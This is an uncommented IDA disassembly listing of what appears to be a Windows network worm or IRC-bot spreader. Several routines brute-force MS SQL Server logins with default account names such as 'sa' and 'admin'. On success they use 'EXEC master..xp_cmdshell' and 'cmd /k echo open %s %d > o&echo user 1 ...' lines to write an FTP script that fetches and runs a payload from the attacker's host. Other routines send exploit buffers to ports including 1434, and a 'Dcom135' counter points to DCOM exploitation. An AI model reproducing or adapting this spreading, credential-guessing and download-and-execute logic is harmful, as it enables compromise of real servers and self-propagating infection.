push dword ptr [ebp+14h]
call sub_415CF0
pop ecx
push eax
lea ecx, [ebp-38h]
push dword ptr [ebp+14h]
call sub_404B77
mov [ebp-18h], edi
loc_4047E3: ; CODE XREF: sub_4046AA+11Fj
push 4
pop esi
cmp [ebp-1Ch], esi
jnb short loc_4047FD
sub esi, [ebp-1Ch]
loc_4047EE: ; CODE XREF: sub_4046AA+151j
push 3Dh
push 1
lea ecx, [ebp-38h]
call sub_404B1E
dec esi
jnz short loc_4047EE
loc_4047FD: ; CODE XREF: sub_4046AA+13Fj
cmp [ebp+10h], edi
ja loc_4046FB
push 1
pop ebx
loc_404809: ; CODE XREF: sub_4046AA+48j
mov esi, [ebp+8]
mov al, [ebp-38h]
push edi
mov ecx, esi
mov [esi], al
call sub_404D21
push dword_421248
lea eax, [ebp-38h]
mov ecx, esi
push edi
push eax
call sub_404BCE
mov [ebp-20h], ebx
and byte ptr [ebp-4], 0
push ebx
lea ecx, [ebp-38h]
call sub_404D21
mov ecx, [ebp-0Ch]
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_4046AA endp
; =============== S U B R O U T I N E =======================================
sub_40484C proc near ; CODE XREF: .nsp0:00404A51p
mov eax, offset loc_420280
call sub_416458
sub esp, 10h
push ebx
push esi
push edi
push offset byte_438FBC
lea eax, [ebp-1Ch]
push dword ptr [ebp+10h]
xor ebx, ebx
mov [ebp-4], ebx
push dword ptr [ebp+0Ch]
push eax
call sub_4046AA
mov eax, [ebp+1Ch]
mov ecx, [ebp-14h]
mov byte ptr [ebp-4], 1
lea esi, [ecx+eax+36h]
push esi
call sub_415DC9
mov edi, eax
add esp, 14h
cmp edi, ebx
jnz short loc_404896
xor bl, bl
jmp short loc_4048DA
; ---------------------------------------------------------------------------
loc_404896: ; CODE XREF: sub_40484C+44j
mov ecx, [ebp-18h]
mov eax, offset dword_421258
cmp ecx, ebx
jnz short loc_4048A4
mov ecx, eax
loc_4048A4: ; CODE XREF: sub_40484C+54j
cmp [ebp+18h], ebx
jz short loc_4048AC
mov eax, [ebp+18h]
loc_4048AC: ; CODE XREF: sub_40484C+5Bj
push ecx
push eax
push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"...
push esi
push edi
call sub_415A6A
add esp, 14h
push ebx
push esi
push edi
push dword ptr [ebp+8]
call dword_43A3E8
cmp eax, esi
jz short loc_4048D1
xor bl, bl
jmp short loc_4048D3
; ---------------------------------------------------------------------------
loc_4048D1: ; CODE XREF: sub_40484C+7Fj
mov bl, 1
loc_4048D3: ; CODE XREF: sub_40484C+83j
push edi
call sub_415E3D
pop ecx
loc_4048DA: ; CODE XREF: sub_40484C+48j
and byte ptr [ebp-4], 0
push 1
lea ecx, [ebp-1Ch]
call sub_404D21
or dword ptr [ebp-4], 0FFFFFFFFh
push 1
lea ecx, [ebp+14h]
call sub_404D21
mov ecx, [ebp-0Ch]
pop edi
mov al, bl
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_40484C endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 624h
and byte ptr [ebp-424h], 0
push ebx
push esi
push edi
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp-423h]
push 8Fh
rep stosd
stosw
stosb
lea eax, [ebp-424h]
push offset sub_42634C
push eax
call sub_4155D0
add esp, 0Ch
mov eax, offset byte_42C1FC
push eax
push eax
push dword_438FDC
push dword ptr [ebp+8]
call sub_40A171
pop ecx
push eax
push offset aCmdKEchoOpenSD ; "cmd /k echo open %s %d > o&echo user 1 "...
lea eax, [ebp-395h]
push 400h
push eax
call sub_415A6A
add eax, 90h
push eax
lea eax, [ebp-424h]
push eax
push 164h
lea eax, [ebp-24h]
push offset sub_4261E4
push eax
call sub_404108
mov ecx, [eax]
xor esi, esi
mov [ebp-8], ecx
add esp, 30h
mov eax, [eax+4]
cmp eax, esi
mov [ebp-4], eax
jnz short loc_4049AD
xor eax, eax
jmp loc_404B11
; ---------------------------------------------------------------------------
loc_4049AD: ; CODE XREF: .nsp0:004049A4j
mov [ebp-0Ch], esi
loc_4049B0: ; CODE XREF: .nsp0:00404AB0j
test esi, esi
jnz loc_404AB6
push 6
push 1
push 2
call dword_4211E0 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_404A9E
xor eax, eax
lea edi, [ebp-1Ah]
stosd
push dword ptr [ebp+0A8h]
stosd
stosd
stosw
mov word ptr [ebp-1Ch], 2
call dword_43A398
mov [ebp-1Ah], ax
lea eax, [ebp+0Ch]
push eax
call dword_43A3D8
mov [ebp-18h], eax
lea eax, [ebp-1Ch]
push 10h
push eax
push ebx
call dword_43A340
cmp eax, 0FFFFFFFFh
jz loc_404A93
cmp dword ptr [ebp+0A8h], 50h
jnz short loc_404A5B
mov al, [ebp+0C3h]
sub esp, 10h
mov esi, esp
mov [ebp-20h], esp
push 0
mov ecx, esi
mov [esi], al
call sub_404D21
lea eax, [ebp+0Ch]
push eax
call sub_415CF0
pop ecx
push eax
lea eax, [ebp+0Ch]
push eax
mov ecx, esi
call sub_404D5D
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40484C
add esp, 1Ch
jmp short loc_404A90
; ---------------------------------------------------------------------------
loc_404A5B: ; CODE XREF: .nsp0:00404A19j
cmp dword ptr [ebp+0A8h], 8Bh
jnz short loc_404A75
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40460C
jmp short loc_404A8D
; ---------------------------------------------------------------------------
loc_404A75: ; CODE XREF: .nsp0:00404A65j
cmp dword ptr [ebp+0A8h], 1BDh
jnz short loc_404A93
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_404532
loc_404A8D: ; CODE XREF: .nsp0:00404A73j
add esp, 0Ch
loc_404A90: ; CODE XREF: .nsp0:00404A59j
movzx esi, al
loc_404A93: ; CODE XREF: .nsp0:00404A0Cj
; .nsp0:00404A7Fj
push ebx
call dword_43A430
test esi, esi
jnz short loc_404AA9
loc_404A9E: ; CODE XREF: .nsp0:004049C9j
push 3E8h
call dword_421060 ; Sleep
loc_404AA9: ; CODE XREF: .nsp0:00404A9Cj
inc dword ptr [ebp-0Ch]
cmp dword ptr [ebp-0Ch], 2
jl loc_4049B0
loc_404AB6: ; CODE XREF: .nsp0:004049B2j
lea ecx, [ebp-8]
call sub_403F2D
test esi, esi
jz short loc_404B0F
lea eax, [ebp+0Ch]
push eax
mov eax, [ebp+0B0h]
imul eax, 3Ch
add eax, offset aDcom135 ; "Dcom135"
push eax
push offset dword_426410
lea eax, [ebp-624h]
push 200h
push eax
call sub_415A6A
lea eax, [ebp-624h]
push eax
call sub_40B16D
mov eax, [ebp+0B0h]
add esp, 18h
imul eax, 3Ch
inc dword_427340[eax]
lea eax, dword_427340[eax]
loc_404B0F: ; CODE XREF: .nsp0:00404AC0j
mov eax, esi
loc_404B11: ; CODE XREF: .nsp0:004049A8j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_420244
loc_404B16: ; CODE XREF: sub_420244+3j
; .nsp0:0042025Dj ...
push 1
call sub_404D21
retn
; END OF FUNCTION CHUNK FOR sub_420244
; =============== S U B R O U T I N E =======================================
sub_404B1E proc near ; CODE XREF: sub_4046AA+110p
; sub_4046AA+14Bp
arg_0 = dword ptr 4
arg_4 = byte ptr 8
mov eax, dword_421248
push ebx
mov ebx, [esp+4+arg_0]
push esi
mov esi, ecx
push edi
sub eax, [esi+8]
cmp eax, ebx
ja short loc_404B38
call sub_41FDB0
loc_404B38: ; CODE XREF: sub_404B1E+13j
test ebx, ebx
jbe short loc_404B6F
mov edi, ebx
push 0
add edi, [esi+8]
mov ecx, esi
push edi
call sub_404C9C
test al, al
jz short loc_404B6F
movsx eax, [esp+0Ch+arg_4]
push ebx
push eax
mov eax, [esi+4]
add eax, [esi+8]
push eax
call sub_415570
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [eax+edi], 0
loc_404B6F: ; CODE XREF: sub_404B1E+1Cj
; sub_404B1E+2Fj
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_404B1E endp
; =============== S U B R O U T I N E =======================================
sub_404B77 proc near ; CODE XREF: sub_4046AA+131p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, dword_421248
push ebx
mov ebx, [esp+4+arg_4]
push esi
mov esi, ecx
push edi
sub eax, [esi+8]
cmp eax, ebx
ja short loc_404B91
call sub_41FDB0
loc_404B91: ; CODE XREF: sub_404B77+13j
test ebx, ebx
jbe short loc_404BC6
mov edi, ebx
push 0
add edi, [esi+8]
mov ecx, esi
push edi
call sub_404C9C
test al, al
jz short loc_404BC6
mov eax, [esi+8]
push ebx
push [esp+10h+arg_0]
add eax, [esi+4]
push eax
call sub_4155D0
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [edi+eax], 0
loc_404BC6: ; CODE XREF: sub_404B77+1Cj
; sub_404B77+2Fj
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_404B77 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404BCE proc near ; CODE XREF: sub_4046AA+17Cp
; sub_41FE0A+46p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
mov edi, ecx
cmp [ebx+8], eax
jnb short loc_404BE6
call sub_41FFDC
loc_404BE6: ; CODE XREF: sub_404BCE+11j
mov eax, [ebx+8]
mov ecx, [ebp+arg_4]
mov esi, eax
sub esi, ecx
cmp [ebp+arg_8], esi
jnb short loc_404BF8
mov esi, [ebp+arg_8]
loc_404BF8: ; CODE XREF: sub_404BCE+25j
cmp edi, ebx
jnz short loc_404C1A
push dword_421248
add esi, ecx
mov ecx, edi
push esi
call sub_404D92
push [ebp+arg_4]
mov ecx, edi
push 0
call sub_404D92
jmp short loc_404C93
; ---------------------------------------------------------------------------
loc_404C1A: ; CODE XREF: sub_404BCE+2Cj
test esi, esi
jbe short loc_404C5D
cmp esi, eax
jnz short loc_404C5D
mov eax, [ebx+4]
test eax, eax
jnz short loc_404C2E
mov eax, offset dword_421258
loc_404C2E: ; CODE XREF: sub_404BCE+59j
cmp byte ptr [eax-1], 0FEh
jnb short loc_404C5D
push 1
mov ecx, edi
call sub_404D21
mov eax, [ebx+4]
test eax, eax
jnz short loc_404C49
mov eax, offset dword_421258
loc_404C49: ; CODE XREF: sub_404BCE+74j
mov [edi+4], eax
mov ecx, [ebx+8]
mov [edi+8], ecx
mov ecx, [ebx+0Ch]
mov [edi+0Ch], ecx
inc byte ptr [eax-1]
jmp short loc_404C93
; ---------------------------------------------------------------------------
loc_404C5D: ; CODE XREF: sub_404BCE+4Ej
; sub_404BCE+52j ...
push 1
push esi
mov ecx, edi
call sub_404C9C
test al, al
jz short loc_404C93
mov eax, [ebx+4]
test eax, eax
jnz short loc_404C77
mov eax, offset dword_421258
loc_404C77: ; CODE XREF: sub_404BCE+A2j
mov ecx, [ebp+arg_4]
push esi
add eax, ecx
push eax
push dword ptr [edi+4]
call sub_4155D0
mov eax, [edi+4]
add esp, 0Ch
mov [edi+8], esi
and byte ptr [eax+esi], 0
loc_404C93: ; CODE XREF: sub_404BCE+4Aj
; sub_404BCE+8Dj ...
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_404BCE endp
; =============== S U B R O U T I N E =======================================
sub_404C9C proc near ; CODE XREF: sub_4046AA+3Dp
; sub_404B1E+28p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
cmp edi, 0FFFFFFFDh
jbe short loc_404CAE
call sub_41FDB0
loc_404CAE: ; CODE XREF: sub_404C9C+Bj
mov ecx, [esi+4]
xor edx, edx
cmp ecx, edx
jz short loc_404CD7
mov al, [ecx-1]
cmp al, dl
jz short loc_404CD7
cmp al, 0FFh
jz short loc_404CD7
cmp edi, edx
jnz short loc_404D12
dec al
push edx
mov [ecx-1], al
loc_404CCC: ; CODE XREF: sub_404C9C+47j
mov ecx, esi
call sub_404D21
loc_404CD3: ; CODE XREF: sub_404C9C+4Bj
; sub_404C9C+52j
xor al, al
jmp short loc_404D1C
; ---------------------------------------------------------------------------
loc_404CD7: ; CODE XREF: sub_404C9C+19j
; sub_404C9C+20j ...
cmp edi, edx
jnz short loc_404CF0
cmp [esp+8+arg_4], dl
jz short loc_404CE5
push 1
jmp short loc_404CCC
; ---------------------------------------------------------------------------
loc_404CE5: ; CODE XREF: sub_404C9C+43j
cmp ecx, edx
jz short loc_404CD3
mov [esi+8], edx
mov [ecx], dl
jmp short loc_404CD3
; ---------------------------------------------------------------------------
loc_404CF0: ; CODE XREF: sub_404C9C+3Dj
cmp [esp+8+arg_4], dl
jz short loc_404D0D
mov eax, [esi+0Ch]
cmp eax, 1Fh
ja short loc_404D02
cmp eax, edi
jnb short loc_404D1A
loc_404D02: ; CODE XREF: sub_404C9C+60j
push 1
mov ecx, esi
call sub_404D21
jmp short loc_404D12
; ---------------------------------------------------------------------------
loc_404D0D: ; CODE XREF: sub_404C9C+58j
cmp [esi+0Ch], edi
jnb short loc_404D1A
loc_404D12: ; CODE XREF: sub_404C9C+28j
; sub_404C9C+6Fj
push edi
mov ecx, esi
call sub_404DF9
loc_404D1A: ; CODE XREF: sub_404C9C+64j
; sub_404C9C+74j
mov al, 1
loc_404D1C: ; CODE XREF: sub_404C9C+39j
pop edi
pop esi
retn 8
sub_404C9C endp
; =============== S U B R O U T I N E =======================================
sub_404D21 proc near ; CODE XREF: sub_4046AA+1Fp
; sub_4046AA+16Ap ...
arg_0 = byte ptr 4
cmp [esp+arg_0], 0
push esi
mov esi, ecx
jz short loc_404D4D
mov eax, [esi+4]
test eax, eax
jz short loc_404D4D
lea ecx, [eax-1]
mov al, [eax-1]
test al, al
jz short loc_404D46
cmp al, 0FFh
jz short loc_404D46
dec al
mov [ecx], al
jmp short loc_404D4D
; ---------------------------------------------------------------------------
loc_404D46: ; CODE XREF: sub_404D21+19j
; sub_404D21+1Dj
push ecx
call sub_416477
pop ecx
loc_404D4D: ; CODE XREF: sub_404D21+8j
; sub_404D21+Fj ...
and dword ptr [esi+4], 0
and dword ptr [esi+8], 0
and dword ptr [esi+0Ch], 0
pop esi
retn 4
sub_404D21 endp
; =============== S U B R O U T I N E =======================================
sub_404D5D proc near ; CODE XREF: .nsp0:00404A45p
; sub_404EB6+28p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov edi, [esp+8+arg_4]
push 1
mov esi, ecx
push edi
call sub_404C9C
test al, al
jz short loc_404D8B
push edi
push [esp+0Ch+arg_0]
push dword ptr [esi+4]
call sub_4155D0
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [eax+edi], 0
loc_404D8B: ; CODE XREF: sub_404D5D+12j
mov eax, esi
pop edi
pop esi
retn 8
sub_404D5D endp
; =============== S U B R O U T I N E =======================================
sub_404D92 proc near ; CODE XREF: sub_404BCE+39p
; sub_404BCE+45p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, ecx
cmp [edi+8], esi
jnb short loc_404DA5
call sub_41FFDC
loc_404DA5: ; CODE XREF: sub_404D92+Cj
mov ecx, edi
call sub_404EB6
mov eax, [edi+8]
mov ebx, [esp+0Ch+arg_4]
sub eax, esi
cmp eax, ebx
jnb short loc_404DBB
mov ebx, eax
loc_404DBB: ; CODE XREF: sub_404D92+25j
test ebx, ebx
jbe short loc_404DF1
mov ecx, [edi+4]
sub eax, ebx
add ecx, esi
push eax
lea eax, [ecx+ebx]
push eax
push ecx
call sub_416490
mov esi, [edi+8]
add esp, 0Ch
sub esi, ebx
mov ecx, edi
push 0
push esi
call sub_404C9C
test al, al
jz short loc_404DF1
mov eax, [edi+4]
mov [edi+8], esi
and byte ptr [esi+eax], 0
loc_404DF1: ; CODE XREF: sub_404D92+2Bj
; sub_404D92+53j
mov eax, edi
pop edi
pop esi
pop ebx
retn 8
sub_404D92 endp
; =============== S U B R O U T I N E =======================================
sub_404DF9 proc near ; CODE XREF: sub_404C9C+79p
mov eax, offset loc_42028C
call sub_416458
sub esp, 0Ch
push ebx
push esi
push edi
mov edi, [ebp+8]
or edi, 1Fh
mov esi, ecx
cmp edi, 0FFFFFFFDh
mov [ebp-10h], esp
mov [ebp-14h], esi
jbe short loc_404E1F
mov edi, [ebp+8]
loc_404E1F: ; CODE XREF: sub_404DF9+21j
and dword ptr [ebp-4], 0
lea eax, [edi+2]
test eax, eax
jge short loc_404E2C
xor eax, eax
loc_404E2C: ; CODE XREF: sub_404DF9+2Fj
push eax
call sub_4167C5
pop ecx
mov [ebp+8], eax
jmp short loc_404E5D
; ---------------------------------------------------------------------------
loc_404E38: ; DATA XREF: .nsp0:00421F0Co
mov eax, [ebp+8]
mov [ebp-18h], eax
add eax, 2
test eax, eax
jge short loc_404E47
xor eax, eax
loc_404E47: ; CODE XREF: sub_404DF9+4Aj
push eax
call sub_4167C5
mov [ebp+8], eax
pop ecx
mov eax, offset loc_404E57
retn
; ---------------------------------------------------------------------------
loc_404E57: ; DATA XREF: sub_404DF9+58o
mov esi, [ebp-14h]
mov edi, [ebp-18h]
loc_404E5D: ; CODE XREF: sub_404DF9+3Dj
mov eax, [esi+8]
test eax, eax
jbe short loc_404E7B
cmp eax, edi
jbe short loc_404E6A
mov eax, edi
loc_404E6A: ; CODE XREF: sub_404DF9+6Dj
push eax
mov eax, [ebp+8]
push dword ptr [esi+4]
inc eax
push eax
call sub_4155D0
add esp, 0Ch
loc_404E7B: ; CODE XREF: sub_404DF9+69j
mov ebx, [esi+8]
push 1
mov ecx, esi
call sub_404D21
mov eax, [ebp+8]
inc eax
mov [esi+4], eax
and byte ptr [eax-1], 0
cmp ebx, edi
mov [esi+0Ch], edi
ja short loc_404E9B
mov edi, ebx
loc_404E9B: ; CODE XREF: sub_404DF9+9Ej
mov eax, [esi+4]
mov ecx, [ebp-0Ch]
mov [esi+8], edi
and byte ptr [eax+edi], 0
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 4
sub_404DF9 endp
; =============== S U B R O U T I N E =======================================
sub_404EB6 proc near ; CODE XREF: sub_404D92+15p
push esi
push edi
mov edi, ecx
mov esi, [edi+4]
test esi, esi
jz short loc_404EE3
mov al, [esi-1]
test al, al
jz short loc_404EE3
cmp al, 0FFh
jz short loc_404EE3
push 1
call sub_404D21
push esi
call sub_415CF0
pop ecx
push eax
push esi
mov ecx, edi
call sub_404D5D
loc_404EE3: ; CODE XREF: sub_404EB6+9j
; sub_404EB6+10j ...
pop edi
pop esi
retn
sub_404EB6 endp
; =============== S U B R O U T I N E =======================================
sub_404EE6 proc near ; DATA XREF: .nsp0:00423008o
test byte_46977C, 1
jnz short loc_404EF6
or byte_46977C, 1
loc_404EF6: ; CODE XREF: sub_404EE6+7j
jmp $+5
push offset nullsub_1
call sub_416840
pop ecx
retn
sub_404EE6 endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404F08 proc near ; CODE XREF: .nsp0:00405188p
var_E3C = byte ptr -0E3Ch
var_A3C = byte ptr -0A3Ch
var_63C = byte ptr -63Ch
var_23C = byte ptr -23Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1A = byte ptr -1Ah
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_14 = byte ptr 1Ch
arg_A0 = dword ptr 0A8h
arg_A8 = dword ptr 0B0h
arg_B0 = dword ptr 0B8h
arg_B4 = dword ptr 0BCh
push ebp
mov ebp, esp
sub esp, 0E3Ch
mov al, byte_438FBC
push esi
mov [ebp+var_1], al
push edi
lea eax, [ebp+var_14]
xor edi, edi
push eax
mov esi, offset aSa ; "sa"
push edi
push 1
mov [ebp+var_3C], esi
mov [ebp+var_38], offset aRoot ; "root"
mov [ebp+var_34], offset aAdmin ; "admin"
mov [ebp+var_30], offset aAdministrator ; "administrator"
mov [ebp+var_2C], offset aAdministrador ; "administrador"
mov [ebp+var_28], offset aAdministrater ; "administrater"
mov [ebp+var_24], offset aAdmins ; "admins"
mov [ebp+var_20], edi
mov [ebp+var_18], edi
mov [ebp+var_10], edi
mov [ebp+var_8], edi
call dword_43A31C
test ax, ax
jnz short loc_404F84
push 0FFFFFFFAh
push 3
push 0C8h
push [ebp+var_14]
call dword_43A420
test ax, ax
jz short loc_404F8B
loc_404F84: ; CODE XREF: sub_404F08+63j
xor eax, eax
jmp loc_405164
; ---------------------------------------------------------------------------
loc_404F8B: ; CODE XREF: sub_404F08+7Aj
lea eax, [ebp+var_10]
push eax
push [ebp+var_14]
push 2
call dword_43A31C
test ax, ax
jnz loc_405157
test esi, esi
push ebx
jz loc_405148
mov edi, dword_421060
lea eax, [ebp+var_3C]
mov [ebp+var_C], eax
mov ebx, offset byte_42C1FC
loc_404FBD: ; CODE XREF: sub_404F08+1EBj
cmp off_42C368, 0
jz loc_4050E7
mov eax, offset off_42C368
mov esi, eax
loc_404FD1: ; CODE XREF: sub_404F08+13Ej
lea ecx, [ebp+var_1]
push ecx
push dword ptr [eax]
mov eax, [ebp+var_C]
push dword ptr [eax]
lea eax, [ebp+arg_4]
push [ebp+arg_A0]
push eax
lea eax, [ebp+var_A3C]
push offset aDriverSqlServe ; "DRIVER={SQL Server};SERVER=%s,%d;UID=%s"...
push eax
call sub_4154E7
add esp, 1Ch
lea eax, [ebp+var_1A]
push 0
push eax
lea eax, [ebp+var_E3C]
push 400h
push eax
lea eax, [ebp+var_A3C]
push eax
call sub_415CF0
pop ecx
push eax
lea eax, [ebp+var_A3C]
push eax
push 0
push [ebp+var_10]
call dword_43A3D4
test ax, ax
jz short loc_40504D
cmp ax, 1
jz short loc_40504D
push 1F4h
call edi ; Sleep
add esi, 4
mov eax, esi
cmp dword ptr [esi], 0
jnz short loc_404FD1
jmp loc_4050E7
; ---------------------------------------------------------------------------
loc_40504D: ; CODE XREF: sub_404F08+127j
; sub_404F08+12Dj
lea eax, [ebp+var_8]
push eax
push [ebp+var_10]
push 3
call dword_43A31C
push ebx
push ebx
call sub_415543
push eax
call sub_415543
push eax
push dword_438FDC
push [ebp+arg_0]
call sub_40A171
pop ecx
push eax
lea eax, [ebp+var_63C]
push offset aExecMaster__xp ; "EXEC master..xp_cmdshell 'del eq&echo o"...
push eax
call sub_4154E7
add esp, 20h
lea eax, [ebp+var_63C]
push 0FFFFFFFDh
push eax
push [ebp+var_8]
call dword_43A35C
test ax, ax
jz short loc_4050DC
mov esi, 1388h
push esi
call edi ; Sleep
push ebx
lea eax, [ebp+var_63C]
push offset aExecMaster___0 ; "EXEC master..xp_cmdshell '%s'"
push eax
call sub_4154E7
add esp, 0Ch
lea eax, [ebp+var_63C]
push 0FFFFFFFDh
push eax
push [ebp+var_8]
call dword_43A35C
test ax, ax
jz short loc_4050F8
push esi
call edi ; Sleep
loc_4050DC: ; CODE XREF: sub_404F08+19Bj
push [ebp+var_8]
push 3
call dword_43A3B4
loc_4050E7: ; CODE XREF: sub_404F08+BCj
; sub_404F08+140j
add [ebp+var_C], 4
mov eax, [ebp+var_C]
cmp dword ptr [eax], 0
jz short loc_405148
jmp loc_404FBD
; ---------------------------------------------------------------------------
loc_4050F8: ; CODE XREF: sub_404F08+1CFj
cmp [ebp+arg_B4], 0
mov [ebp+var_18], 1
jnz short loc_405126
push 0
lea eax, [ebp+var_23C]
push [ebp+arg_B0]
push eax
lea eax, [ebp+arg_14]
push eax
push [ebp+arg_0]
call sub_412D4C
add esp, 14h
loc_405126: ; CODE XREF: sub_404F08+1FEj
lea eax, [ebp+var_23C]
push eax
call sub_40B16D
mov eax, [ebp+arg_A8]
pop ecx
imul eax, 3Ch
inc dword_427340[eax]
lea eax, dword_427340[eax]
loc_405148: ; CODE XREF: sub_404F08+9Ej
; sub_404F08+1E9j
push [ebp+var_10]
push 2
call dword_43A3B4
mov edi, [ebp+var_18]
pop ebx
loc_405157: ; CODE XREF: sub_404F08+95j
push [ebp+var_14]
push 1
call dword_43A3B4
mov eax, edi
loc_405164: ; CODE XREF: sub_404F08+7Ej
pop edi
pop esi
leave
retn
sub_404F08 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push esi
push edi
sub esp, 0BCh
lea esi, [ebp+8]
mov dword ptr [ebp+0A8h], 599h
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_404F08
push 2Fh
lea esi, [ebp+8]
pop ecx
mov dword ptr [ebp+0A8h], 1BDh
mov edi, esp
mov [ebp-4], eax
rep movsd
call sub_403C8B
add esp, 0BCh
mov [ebp+0C0h], eax
push 1
pop eax
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4051BC proc near ; CODE XREF: .nsp0:004053BAp
var_5A0 = byte ptr -5A0h
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor esi, esi
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_415570
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+var_10], 2
push eax
call dword_43A3D8
mov [ebp+var_C], eax
mov ax, word_426710
push eax
call dword_43A398
push esi
push 1
push 2
mov [ebp+var_E], ax
call dword_43A418
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_4052D5
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_43A340
cmp eax, 0FFFFFFFFh
jz loc_4052D5
push esi
lea eax, [ebp+var_5A0]
push 400h
push eax
push ebx
call dword_43A3B0
mov esi, offset byte_42C1FC
push esi
push esi
push dword_438FDC
push [ebp+arg_0]
call sub_40A171
pop ecx
mov edi, 190h
push eax
push offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user 1 1 >> o "...
lea eax, [ebp+var_1A0]
push edi
push eax
call sub_415A6A
add esp, 1Ch
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_415CF0
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
call dword_43A3E8
cmp eax, 0FFFFFFFFh
jz short loc_4052D5
push 1F4h
call dword_421060 ; Sleep
push esi
push offset dword_425050
lea eax, [ebp+var_1A0]
push edi
push eax
call sub_415A6A
add esp, 10h
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_415CF0
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
call dword_43A3E8
cmp eax, 0FFFFFFFFh
jnz short loc_4052D9
loc_4052D5: ; CODE XREF: sub_4051BC+51j
; sub_4051BC+67j ...
xor al, al
jmp short loc_4052F7
; ---------------------------------------------------------------------------
loc_4052D9: ; CODE XREF: sub_4051BC+117j
push 0
lea eax, [ebp+var_5A0]
push 400h
push eax
push ebx
call dword_43A3B0
push ebx
call dword_43A430
mov al, 1
loc_4052F7: ; CODE XREF: sub_4051BC+11Bj
pop edi
pop esi
pop ebx
leave
retn
sub_4051BC endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 210h
push ebx
push esi
lea eax, [ebp+0Ch]
push edi
push eax
call dword_4211C8 ; gethostbyname
mov esi, eax
test esi, esi
jnz short loc_405326
lea eax, [ebp+0Ch]
push eax
call dword_4211D8 ; inet_addr
mov ebx, eax
jmp short loc_40532C
; ---------------------------------------------------------------------------
loc_405326: ; CODE XREF: .nsp0:00405316j
mov ebx, [ebp+0C0h]
loc_40532C: ; CODE XREF: .nsp0:00405324j
push 11h
push 2
push 2
call dword_4211E0 ; socket
test esi, esi
mov edi, eax
jz short loc_405356
movsx eax, word ptr [esi+0Ah]
push eax
mov eax, [esi+0Ch]
push dword ptr [eax]
lea eax, [ebp-0Ch]
push eax
call sub_4155D0
add esp, 0Ch
jmp short loc_405359
; ---------------------------------------------------------------------------
loc_405356: ; CODE XREF: .nsp0:0040533Cj
mov [ebp-0Ch], ebx
loc_405359: ; CODE XREF: .nsp0:00405354j
test esi, esi
jz short loc_405367
mov ax, [esi+8]
mov [ebp-10h], ax
jmp short loc_40536D
; ---------------------------------------------------------------------------
loc_405367: ; CODE XREF: .nsp0:0040535Bj
mov word ptr [ebp-10h], 2
loc_40536D: ; CODE XREF: .nsp0:00405365j
push 598h
call dword_4211DC ; htons
mov [ebp-0Eh], ax
lea eax, [ebp-10h]
push 10h
push eax
push edi
call dword_4211E4 ; connect
test eax, eax
jnz short loc_4053F2
push eax
push 152h
push offset dword_4265BC
push edi
call dword_4211EC ; send
push 3E8h
call dword_421060 ; Sleep
sub esp, 0BCh
lea esi, [ebp+8]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_4051BC
add esp, 0BCh
test al, al
jz short loc_4053CE
push 1
pop eax
jmp short loc_405404
; ---------------------------------------------------------------------------
loc_4053CE: ; CODE XREF: .nsp0:004053C7j
lea eax, [ebp-210h]
push eax
call sub_40B16D
